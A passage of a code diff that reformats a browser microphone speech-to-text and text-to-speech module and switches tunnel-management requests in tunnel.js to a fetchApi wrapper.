37 + const sttSettings = data.settings.sections.find(
38 + (s) => s.title === "Speech to Text"
39 + );
40 +
41 + if (sttSettings) {
42 + // Update options from server settings
43 + sttSettings.fields.forEach((field) => {
44 + const key = field.id; //.split('.')[1]; // speech_to_text.model_size -> model_size
45 + micSettings[key] = field.value;
46 + });
47 }
48 + } catch (error) {
49 + window.toastFetchError("Failed to load speech settings", error);
50 + console.error("Failed to load speech settings:", error);
51 + }
52 }
53
54 class MicrophoneInput {
51 - constructor(updateCallback, options = {}) {
52 - this.mediaRecorder = null;
53 - this.audioChunks = [];
54 - this.lastChunk = [];
55 - this.updateCallback = updateCallback;
56 - this.messageSent = false;
57 -
58 - // Audio analysis properties
59 - this.audioContext = null;
60 - this.mediaStreamSource = null;
61 - this.analyserNode = null;
62 - this._status = Status.INACTIVE;
63 -
64 - // Timing properties
65 - this.lastAudioTime = null;
66 - this.waitingTimer = null;
67 - this.silenceStartTime = null;
68 - this.hasStartedRecording = false;
69 - this.analysisFrame = null;
55 + constructor(updateCallback, options = {}) {
56 + this.mediaRecorder = null;
57 + this.audioChunks = [];
58 + this.lastChunk = [];
59 + this.updateCallback = updateCallback;
60 + this.messageSent = false;
61 +
62 + // Audio analysis properties
63 + this.audioContext = null;
64 + this.mediaStreamSource = null;
65 + this.analyserNode = null;
66 + this._status = Status.INACTIVE;
67 +
68 + // Timing properties
69 + this.lastAudioTime = null;
70 + this.waitingTimer = null;
71 + this.silenceStartTime = null;
72 + this.hasStartedRecording = false;
73 + this.analysisFrame = null;
74 + }
75 +
76 + get status() {
77 + return this._status;
78 + }
79 +
80 + set status(newStatus) {
81 + if (this._status === newStatus) return;
82 +
83 + const oldStatus = this._status;
84 + this._status = newStatus;
85 + console.log(`Mic status changed from ${oldStatus} to ${newStatus}`);
86 +
87 + // Update UI
88 + microphoneButton.classList.remove(`mic-${oldStatus.toLowerCase()}`);
89 + microphoneButton.classList.add(`mic-${newStatus.toLowerCase()}`);
90 + microphoneButton.setAttribute("data-status", newStatus);
91 +
92 + // Handle state-specific behaviors
93 + this.handleStatusChange(oldStatus, newStatus);
94 + }
95 +
96 + handleStatusChange(oldStatus, newStatus) {
97 + //last chunk kept only for transition to recording status
98 + if (newStatus != Status.RECORDING) {
99 + this.lastChunk = null;
100 }
101
72 - get status() {
73 - return this._status;
102 + switch (newStatus) {
103 + case Status.INACTIVE:
104 + this.handleInactiveState();
105 + break;
106 + case Status.LISTENING:
107 + this.handleListeningState();
108 + break;
109 + case Status.RECORDING:
110 + this.handleRecordingState();
111 + break;
112 + case Status.WAITING:
113 + this.handleWaitingState();
114 + break;
115 + case Status.PROCESSING:
116 + this.handleProcessingState();
117 + break;
118 }
75 -
76 - set status(newStatus) {
77 - if (this._status === newStatus) return;
78 -
79 - const oldStatus = this._status;
80 - this._status = newStatus;
81 - console.log(`Mic status changed from ${oldStatus} to ${newStatus}`);
82 -
83 - // Update UI
84 - microphoneButton.classList.remove(`mic-${oldStatus.toLowerCase()}`);
85 - microphoneButton.classList.add(`mic-${newStatus.toLowerCase()}`);
86 - microphoneButton.setAttribute('data-status', newStatus);
87 -
88 - // Handle state-specific behaviors
89 - this.handleStatusChange(oldStatus, newStatus);
119 + }
120 +
121 + handleInactiveState() {
122 + this.stopRecording();
123 + this.stopAudioAnalysis();
124 + if (this.waitingTimer) {
125 + clearTimeout(this.waitingTimer);
126 + this.waitingTimer = null;
127 }
91 -
92 - handleStatusChange(oldStatus, newStatus) {
93 -
94 - //last chunk kept only for transition to recording status
95 - if (newStatus != Status.RECORDING) { this.lastChunk = null; }
96 -
97 - switch (newStatus) {
98 - case Status.INACTIVE:
99 - this.handleInactiveState();
100 - break;
101 - case Status.LISTENING:
102 - this.handleListeningState();
103 - break;
104 - case Status.RECORDING:
105 - this.handleRecordingState();
106 - break;
107 - case Status.WAITING:
108 - this.handleWaitingState();
109 - break;
110 - case Status.PROCESSING:
111 - this.handleProcessingState();
112 - break;
113 - }
128 + }
129 +
130 + handleListeningState() {
131 + this.stopRecording();
132 + this.audioChunks = [];
133 + this.hasStartedRecording = false;
134 + this.silenceStartTime = null;
135 + this.lastAudioTime = null;
136 + this.messageSent = false;
137 + this.startAudioAnalysis();
138 + }
139 +
140 + handleRecordingState() {
141 + if (!this.hasStartedRecording && this.mediaRecorder.state !== "recording") {
142 + this.hasStartedRecording = true;
143 + this.mediaRecorder.start(1000);
144 + console.log("Speech started");
145 }
115 -
116 - handleInactiveState() {
117 - this.stopRecording();
118 - this.stopAudioAnalysis();
119 - if (this.waitingTimer) {
120 - clearTimeout(this.waitingTimer);
121 - this.waitingTimer = null;
122 - }
146 + if (this.waitingTimer) {
147 + clearTimeout(this.waitingTimer);
148 + this.waitingTimer = null;
149 }
124 -
125 - handleListeningState() {
126 - this.stopRecording();
127 - this.audioChunks = [];
128 - this.hasStartedRecording = false;
129 - this.silenceStartTime = null;
130 - this.lastAudioTime = null;
131 - this.messageSent = false;
132 - this.startAudioAnalysis();
150 + }
151 +
152 + handleWaitingState() {
153 + // Don't stop recording during waiting state
154 + this.waitingTimer = setTimeout(() => {
155 + if (this.status === Status.WAITING) {
156 + this.status = Status.PROCESSING;
157 + }
158 + }, micSettings.stt_waiting_timeout);
159 + }
160 +
161 + handleProcessingState() {
162 + this.stopRecording();
163 + this.process();
164 + }
165 +
166 + stopRecording() {
167 + if (this.mediaRecorder?.state === "recording") {
168 + this.mediaRecorder.stop();
169 + this.hasStartedRecording = false;
170 }
171 + }
172
135 - handleRecordingState() {
136 - if (!this.hasStartedRecording && this.mediaRecorder.state !== 'recording') {
137 - this.hasStartedRecording = true;
138 - this.mediaRecorder.start(1000);
139 - console.log('Speech started');
140 - }
141 - if (this.waitingTimer) {
142 - clearTimeout(this.waitingTimer);
143 - this.waitingTimer = null;
173 + async initialize() {
174 + try {
175 + const stream = await navigator.mediaDevices.getUserMedia({
176 + audio: {
177 + echoCancellation: true,
178 + noiseSuppression: true,
179 + channelCount: 1,
180 + },
181 + });
182 +
183 + this.mediaRecorder = new MediaRecorder(stream);
184 + this.mediaRecorder.ondataavailable = (event) => {
185 + if (
186 + event.data.size > 0 &&
187 + (this.status === Status.RECORDING || this.status === Status.WAITING)
188 + ) {
189 + if (this.lastChunk) {
190 + this.audioChunks.push(this.lastChunk);
191 + this.lastChunk = null;
192 + }
193 + this.audioChunks.push(event.data);
194 + console.log(
195 + "Audio chunk received, total chunks:",
196 + this.audioChunks.length
197 + );
198 + } else if (this.status === Status.LISTENING) {
199 + this.lastChunk = event.data;
200 }
145 - }
146 -
147 - handleWaitingState() {
148 - // Don't stop recording during waiting state
149 - this.waitingTimer = setTimeout(() => {
150 - if (this.status === Status.WAITING) {
151 - this.status = Status.PROCESSING;
152 - }
153 - }, micSettings.stt_waiting_timeout);
154 - }
155 -
156 - handleProcessingState() {
157 - this.stopRecording();
158 - this.process();
159 - }
201 + };
202
161 - stopRecording() {
162 - if (this.mediaRecorder?.state === 'recording') {
163 - this.mediaRecorder.stop();
164 - this.hasStartedRecording = false;
165 - }
203 + this.setupAudioAnalysis(stream);
204 + return true;
205 + } catch (error) {
206 + console.error("Microphone initialization error:", error);
207 + toast("Failed to access microphone. Please check permissions.", "error");
208 + return false;
209 }
210 + }
211 +
212 + setupAudioAnalysis(stream) {
213 + this.audioContext = new (window.AudioContext ||
214 + window.webkitAudioContext)();
215 + this.mediaStreamSource = this.audioContext.createMediaStreamSource(stream);
216 + this.analyserNode = this.audioContext.createAnalyser();
217 + this.analyserNode.fftSize = 2048;
218 + this.analyserNode.minDecibels = -90;
219 + this.analyserNode.maxDecibels = -10;
220 + this.analyserNode.smoothingTimeConstant = 0.85;
221 + this.mediaStreamSource.connect(this.analyserNode);
222 + }
223 +
224 + startAudioAnalysis() {
225 + const analyzeFrame = () => {
226 + if (this.status === Status.INACTIVE) return;
227 +
228 + const dataArray = new Uint8Array(this.analyserNode.fftSize);
229 + this.analyserNode.getByteTimeDomainData(dataArray);
230 +
231 + // Calculate RMS volume
232 + let sum = 0;
233 + for (let i = 0; i < dataArray.length; i++) {
234 + const amplitude = (dataArray[i] - 128) / 128;
235 + sum += amplitude * amplitude;
236 + }
237 + const rms = Math.sqrt(sum / dataArray.length);
238 +
239 + const now = Date.now();
240 +
241 + // Update status based on audio level
242 + if (rms > densify(micSettings.stt_silence_threshold)) {
243 + this.lastAudioTime = now;
244 + this.silenceStartTime = null;
245
168 - async initialize() {
169 - try {
170 - const stream = await navigator.mediaDevices.getUserMedia({
171 - audio: {
172 - echoCancellation: true,
173 - noiseSuppression: true,
174 - channelCount: 1
175 - }
176 - });
177 -
178 - this.mediaRecorder = new MediaRecorder(stream);
179 - this.mediaRecorder.ondataavailable = (event) => {
180 - if (event.data.size > 0 &&
181 - (this.status === Status.RECORDING || this.status === Status.WAITING)) {
182 - if (this.lastChunk) {
183 - this.audioChunks.push(this.lastChunk);
184 - this.lastChunk = null;
185 - }
186 - this.audioChunks.push(event.data);
187 - console.log('Audio chunk received, total chunks:', this.audioChunks.length);
188 - }
189 - else if (this.status === Status.LISTENING) {
190 - this.lastChunk = event.data;
191 - }
192 - };
193 -
194 - this.setupAudioAnalysis(stream);
195 - return true;
196 - } catch (error) {
197 -
198 - console.error('Microphone initialization error:', error);
199 - toast('Failed to access microphone. Please check permissions.', 'error');
200 - return false;
246 + if (
247 + this.status === Status.LISTENING ||
248 + this.status === Status.WAITING
249 + ) {
250 + if (!speech.isSpeaking())
251 + // TODO? a better way to ignore agent's voice?
252 + this.status = Status.RECORDING;
253 }
202 - }
203 -
204 - setupAudioAnalysis(stream) {
205 - this.audioContext = new (window.AudioContext || window.webkitAudioContext)();
206 - this.mediaStreamSource = this.audioContext.createMediaStreamSource(stream);
207 - this.analyserNode = this.audioContext.createAnalyser();
208 - this.analyserNode.fftSize = 2048;
209 - this.analyserNode.minDecibels = -90;
210 - this.analyserNode.maxDecibels = -10;
211 - this.analyserNode.smoothingTimeConstant = 0.85;
212 - this.mediaStreamSource.connect(this.analyserNode);
213 - }
214 -
215 - startAudioAnalysis() {
216 - const analyzeFrame = () => {
217 - if (this.status === Status.INACTIVE) return;
218 -
219 - const dataArray = new Uint8Array(this.analyserNode.fftSize);
220 - this.analyserNode.getByteTimeDomainData(dataArray);
221 -
222 - // Calculate RMS volume
223 - let sum = 0;
224 - for (let i = 0; i < dataArray.length; i++) {
225 - const amplitude = (dataArray[i] - 128) / 128;
226 - sum += amplitude * amplitude;
227 - }
228 - const rms = Math.sqrt(sum / dataArray.length);
229 -
230 - const now = Date.now();
231 -
232 - // Update status based on audio level
233 - if (rms > densify(micSettings.stt_silence_threshold)) {
234 - this.lastAudioTime = now;
235 - this.silenceStartTime = null;
236 -
237 - if (this.status === Status.LISTENING || this.status === Status.WAITING) {
238 - if (!speech.isSpeaking()) // TODO? a better way to ignore agent's voice?
239 - this.status = Status.RECORDING;
240 - }
241 - } else if (this.status === Status.RECORDING) {
242 - if (!this.silenceStartTime) {
243 - this.silenceStartTime = now;
244 - }
245 -
246 - const silenceDuration = now - this.silenceStartTime;
247 - if (silenceDuration >= micSettings.stt_silence_duration) {
248 - this.status = Status.WAITING;
249 - }
250 - }
251 -
252 - this.analysisFrame = requestAnimationFrame(analyzeFrame);
253 - };
254 -
255 - this.analysisFrame = requestAnimationFrame(analyzeFrame);
256 - }
257 -
258 - stopAudioAnalysis() {
259 - if (this.analysisFrame) {
260 - cancelAnimationFrame(this.analysisFrame);
261 - this.analysisFrame = null;
254 + } else if (this.status === Status.RECORDING) {
255 + if (!this.silenceStartTime) {
256 + this.silenceStartTime = now;
257 }
263 - }
258
265 - async process() {
266 - if (this.audioChunks.length === 0) {
267 - this.status = Status.LISTENING;
268 - return;
259 + const silenceDuration = now - this.silenceStartTime;
260 + if (silenceDuration >= micSettings.stt_silence_duration) {
261 + this.status = Status.WAITING;
262 }
263 + }
264
271 - const audioBlob = new Blob(this.audioChunks, { type: 'audio/wav' });
272 - const base64 = await this.convertBlobToBase64Wav(audioBlob)
273 -
274 - try {
265 + this.analysisFrame = requestAnimationFrame(analyzeFrame);
266 + };
267
276 - const result = await sendJsonData('/transcribe', { audio: base64 })
268 + this.analysisFrame = requestAnimationFrame(analyzeFrame);
269 + }
270
271 + stopAudioAnalysis() {
272 + if (this.analysisFrame) {
273 + cancelAnimationFrame(this.analysisFrame);
274 + this.analysisFrame = null;
275 + }
276 + }
277
279 - const text = this.filterResult(result.text || "")
280 -
281 - if (text) {
282 - console.log('Transcription:', result.text);
283 - await this.updateCallback(result.text, true);
284 - }
285 - } catch (error) {
286 - window.toastFetchError("Transcription error", error)
287 - console.error('Transcription error:', error);
288 - } finally {
289 - this.audioChunks = [];
290 - this.status = Status.LISTENING;
291 - }
278 + async process() {
279 + if (this.audioChunks.length === 0) {
280 + this.status = Status.LISTENING;
281 + return;
282 }
283
294 - convertBlobToBase64Wav(audioBlob) {
295 - return new Promise((resolve, reject) => {
296 - const reader = new FileReader();
284 + const audioBlob = new Blob(this.audioChunks, { type: "audio/wav" });
285 + const base64 = await this.convertBlobToBase64Wav(audioBlob);
286
298 - // Read the Blob as a Data URL
299 - reader.onloadend = () => {
300 - const base64Data = reader.result.split(",")[1]; // Extract Base64 data
301 - resolve(base64Data);
302 - };
287 + try {
288 + const result = await sendJsonData("/transcribe", { audio: base64 });
289
304 - reader.onerror = (error) => {
305 - reject(error);
306 - };
290 + const text = this.filterResult(result.text || "");
291
308 - reader.readAsDataURL(audioBlob); // Start reading the Blob
309 - });
292 + if (text) {
293 + console.log("Transcription:", result.text);
294 + await this.updateCallback(result.text, true);
295 + }
296 + } catch (error) {
297 + window.toastFetchError("Transcription error", error);
298 + console.error("Transcription error:", error);
299 + } finally {
300 + this.audioChunks = [];
301 + this.status = Status.LISTENING;
302 }
311 -
312 - filterResult(text) {
313 - text = text.trim()
314 - let ok = false
315 - while (!ok) {
316 - if (!text) break
317 - if (text[0] === '{' && text[text.length - 1] === '}') break
318 - if (text[0] === '(' && text[text.length - 1] === ')') break
319 - if (text[0] === '[' && text[text.length - 1] === ']') break
320 - ok = true
321 - }
322 - if (ok) return text
323 - else console.log(`Discarding transcription: ${text}`)
303 + }
304 +
305 + convertBlobToBase64Wav(audioBlob) {
306 + return new Promise((resolve, reject) => {
307 + const reader = new FileReader();
308 +
309 + // Read the Blob as a Data URL
310 + reader.onloadend = () => {
311 + const base64Data = reader.result.split(",")[1]; // Extract Base64 data
312 + resolve(base64Data);
313 + };
314 +
315 + reader.onerror = (error) => {
316 + reject(error);
317 + };
318 +
319 + reader.readAsDataURL(audioBlob); // Start reading the Blob
320 + });
321 + }
322 +
323 + filterResult(text) {
324 + text = text.trim();
325 + let ok = false;
326 + while (!ok) {
327 + if (!text) break;
328 + if (text[0] === "{" && text[text.length - 1] === "}") break;
329 + if (text[0] === "(" && text[text.length - 1] === ")") break;
330 + if (text[0] === "[" && text[text.length - 1] === "]") break;
331 + ok = true;
332 }
333 + if (ok) return text;
334 + else console.log(`Discarding transcription: ${text}`);
335 + }
336 }
337
327 -
328 -
338 // Initialize and handle click events
339 async function initializeMicrophoneInput() {
331 - window.microphoneInput = microphoneInput = new MicrophoneInput(
332 - async (text, isFinal) => {
333 - if (isFinal) {
334 - updateChatInput(text);
335 - if (!microphoneInput.messageSent) {
336 - microphoneInput.messageSent = true;
337 - await sendMessage();
338 - }
339 - }
340 + window.microphoneInput = microphoneInput = new MicrophoneInput(
341 + async (text, isFinal) => {
342 + if (isFinal) {
343 + updateChatInput(text);
344 + if (!microphoneInput.messageSent) {
345 + microphoneInput.messageSent = true;
346 + await sendMessage();
347 }
341 - );
342 - microphoneInput.status = Status.ACTIVATING;
348 + }
349 + }
350 + );
351 + microphoneInput.status = Status.ACTIVATING;
352
344 - return await microphoneInput.initialize();
353 + return await microphoneInput.initialize();
354 }
355
347 -microphoneButton.addEventListener('click', async () => {
348 - if (isProcessingClick) return;
349 - isProcessingClick = true;
356 +microphoneButton.addEventListener("click", async () => {
357 + if (isProcessingClick) return;
358 + isProcessingClick = true;
359
351 - const hasPermission = await requestMicrophonePermission();
352 - if (!hasPermission) return;
360 + const hasPermission = await requestMicrophonePermission();
361 + if (!hasPermission) return;
362
354 - try {
355 - if (!microphoneInput && !await initializeMicrophoneInput()) {
356 - return;
357 - }
358 -
359 - // Simply toggle between INACTIVE and LISTENING states
360 - microphoneInput.status =
361 - (microphoneInput.status === Status.INACTIVE || microphoneInput.status === Status.ACTIVATING) ? Status.LISTENING : Status.INACTIVE;
362 - } finally {
363 - setTimeout(() => {
364 - isProcessingClick = false;
365 - }, 300);
363 + try {
364 + if (!microphoneInput && !(await initializeMicrophoneInput())) {
365 + return;
366 }
367 +
368 + // Simply toggle between INACTIVE and LISTENING states
369 + microphoneInput.status =
370 + microphoneInput.status === Status.INACTIVE ||
371 + microphoneInput.status === Status.ACTIVATING
372 + ? Status.LISTENING
373 + : Status.INACTIVE;
374 + } finally {
375 + setTimeout(() => {
376 + isProcessingClick = false;
377 + }, 300);
378 + }
379 });
380
381 // Some error handling for microphone input
382 async function requestMicrophonePermission() {
371 - try {
372 - await navigator.mediaDevices.getUserMedia({ audio: true });
373 - return true;
374 - } catch (err) {
375 - console.error('Error accessing microphone:', err);
376 - toast('Microphone access denied. Please enable microphone access in your browser settings.', 'error');
377 - return false;
378 - }
383 + try {
384 + await navigator.mediaDevices.getUserMedia({ audio: true });
385 + return true;
386 + } catch (err) {
387 + console.error("Error accessing microphone:", err);
388 + toast(
389 + "Microphone access denied. Please enable microphone access in your browser settings.",
390 + "error"
391 + );
392 + return false;
393 + }
394 }
395
381 -
396 class Speech {
383 - constructor() {
384 - this.synth = window.speechSynthesis;
385 - this.utterance = null;
386 - }
387 -
388 - stripEmojis(str) {
389 - return str
390 - .replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, '')
391 - .replace(/\s+/g, ' ')
392 - .trim();
393 - }
394 -
395 - speak(text) {
396 - console.log('Speaking:', text);
397 - // Stop any current utterance
398 - this.stop();
399 -
400 - // Remove emojis and create a new utterance
401 - text = this.stripEmojis(text);
402 - text = this.replaceURLs(text);
403 - text = this.replaceGuids(text);
404 - this.utterance = new SpeechSynthesisUtterance(text);
405 -
406 - // Speak the new utterance
407 - this.synth.speak(this.utterance);
408 - }
409 -
410 - replaceURLs(text) {
411 - const urlRegex = /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b(www\.)[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b[-A-Z0-9+&@#\/%?=~_|!:,.;]*\.(?:[A-Z]{2,})[-A-Z0-9+&@#\/%?=~_|])/ig; return text.replace(urlRegex, (url) => {
412 - let text = url
413 - // if contains ://, split by it
414 - if (text.includes('://')) text = text.split('://')[1];
415 - // if contains /, split by it
416 - if (text.includes('/')) text = text.split('/')[0];
417 -
418 - // if contains ., split by it
419 - if (text.includes('.')) {
420 - const doms = text.split('.')
421 - //up to last two
422 - return doms[doms.length - 2] + '.' + doms[doms.length - 1]
423 - } else {
424 - return text
425 - }
426 - });
397 + constructor() {
398 + this.synth = window.speechSynthesis;
399 + this.utterance = null;
400 + }
401 +
402 + stripEmojis(str) {
403 + return str
404 + .replace(
405 + /([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g,
406 + ""
407 + )
408 + .replace(/\s+/g, " ")
409 + .trim();
410 + }
411 +
412 + speak(text) {
413 + console.log("Speaking:", text);
414 + // Stop any current utterance
415 + this.stop();
416 +
417 + // Remove emojis and create a new utterance
418 + text = this.stripEmojis(text);
419 + text = this.replaceURLs(text);
420 + text = this.replaceGuids(text);
421 + this.utterance = new SpeechSynthesisUtterance(text);
422 +
423 + // Speak the new utterance
424 + this.synth.speak(this.utterance);
425 + }
426 +
427 + replaceURLs(text) {
428 + const urlRegex =
429 + /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b(www\.)[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b[-A-Z0-9+&@#\/%?=~_|!:,.;]*\.(?:[A-Z]{2,})[-A-Z0-9+&@#\/%?=~_|])/gi;
430 + return text.replace(urlRegex, (url) => {
431 + let text = url;
432 + // if contains ://, split by it
433 + if (text.includes("://")) text = text.split("://")[1];
434 + // if contains /, split by it
435 + if (text.includes("/")) text = text.split("/")[0];
436 +
437 + // if contains ., split by it
438 + if (text.includes(".")) {
439 + const doms = text.split(".");
440 + //up to last two
441 + return doms[doms.length - 2] + "." + doms[doms.length - 1];
442 + } else {
443 + return text;
444 + }
445 + });
446 + }
447 +
448 + replaceGuids(text) {
449 + const guidRegex =
450 + /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g;
451 + return text.replace(guidRegex, "");
452 + }
453 +
454 + replaceNonText(text) {
455 + const nonTextRegex = /\w[^\w\s]*\w(?=\s|$)|[^\w\s]+/g;
456 + text = text.replace(nonTextRegex, (match) => {
457 + return ``;
458 + });
459 + const longStringRegex = /\S{25,}/g;
460 + text = text.replace(longStringRegex, (match) => {
461 + return ``;
462 + });
463 + return text;
464 + }
465 +
466 + stop() {
467 + if (this.isSpeaking()) {
468 + this.synth.cancel();
469 }
470 + }
471
429 - replaceGuids(text) {
430 - const guidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g;
431 - return text.replace(guidRegex, '');
432 - }
433 -
434 - replaceNonText(text) {
435 - const nonTextRegex = /\w[^\w\s]*\w(?=\s|$)|[^\w\s]+/g;
436 - text = text.replace(nonTextRegex, (match) => {
437 - return ``;
438 - });
439 - const longStringRegex = /\S{25,}/g;
440 - text = text.replace(longStringRegex, (match) => {
441 - return ``;
442 - });
443 - return text
444 - }
445 -
446 - stop() {
447 - if (this.isSpeaking()) {
448 - this.synth.cancel();
449 - }
450 - }
451 -
452 - isSpeaking() {
453 - return this.synth?.speaking || false;
454 - }
472 + isSpeaking() {
473 + return this.synth?.speaking || false;
474 + }
475 }
476
477 export const speech = new Speech();
458 -window.speech = speech
478 +window.speech = speech;
479
480 // Add event listener for settings changes
461 -document.addEventListener('settings-updated', loadMicSettings);
\ No newline at end of file
481 +document.addEventListener("settings-updated", loadMicSettings);
webui/js/tunnel.js
+7 -7
@@ -12,7 +12,7 @@ document.addEventListener('alpine:init', () => {
12
13 async checkTunnelStatus() {
14 try {
15 - const response = await fetch('/tunnel_proxy', {
15 + const response = await fetchApi('/tunnel_proxy', {
16 method: 'POST',
17 headers: {
18 'Content-Type': 'application/json',
@@ -35,7 +35,7 @@ document.addEventListener('alpine:init', () => {
35
36 if (storedTunnelUrl) {
37 // Use the stored URL but verify it's still valid
38 - const verifyResponse = await fetch('/tunnel_proxy', {
38 + const verifyResponse = await fetchApi('/tunnel_proxy', {
39 method: 'POST',
40 headers: {
41 'Content-Type': 'application/json',
@@ -82,7 +82,7 @@ document.addEventListener('alpine:init', () => {
82
83 try {
84 // First stop any existing tunnel
85 - const stopResponse = await fetch('/tunnel_proxy', {
85 + const stopResponse = await fetchApi('/tunnel_proxy', {
86 method: 'POST',
87 headers: {
88 'Content-Type': 'application/json',
@@ -116,7 +116,7 @@ document.addEventListener('alpine:init', () => {
116 async generateLink() {
117 // First check if authentication is enabled
118 try {
119 - const authCheckResponse = await fetch('/settings_get');
119 + const authCheckResponse = await fetchApi('/settings_get');
120 const authData = await authCheckResponse.json();
121
122 // Find the auth_login and auth_password in the settings
@@ -175,7 +175,7 @@ document.addEventListener('alpine:init', () => {
175
176 try {
177 // Call the backend API to create a tunnel
178 - const response = await fetch('/tunnel_proxy', {
178 + const response = await fetchApi('/tunnel_proxy', {
179 method: 'POST',
180 headers: {
181 'Content-Type': 'application/json',
@@ -207,7 +207,7 @@ document.addEventListener('alpine:init', () => {
207
208 // Check if tunnel is running now
209 try {
210 - const statusResponse = await fetch('/tunnel_proxy', {
210 + const statusResponse = await fetchApi('/tunnel_proxy', {
211 method: 'POST',
212 headers: {
213 'Content-Type': 'application/json',
@@ -259,7 +259,7 @@ document.addEventListener('alpine:init', () => {
259
260 try {
261 // Call the backend to stop the tunnel
262 - const response = await fetch('/tunnel_proxy', {
262 + const response = await fetchApi('/tunnel_proxy', {
263 method: 'POST',
264 headers: {
265 'Content-Type': 'application/json',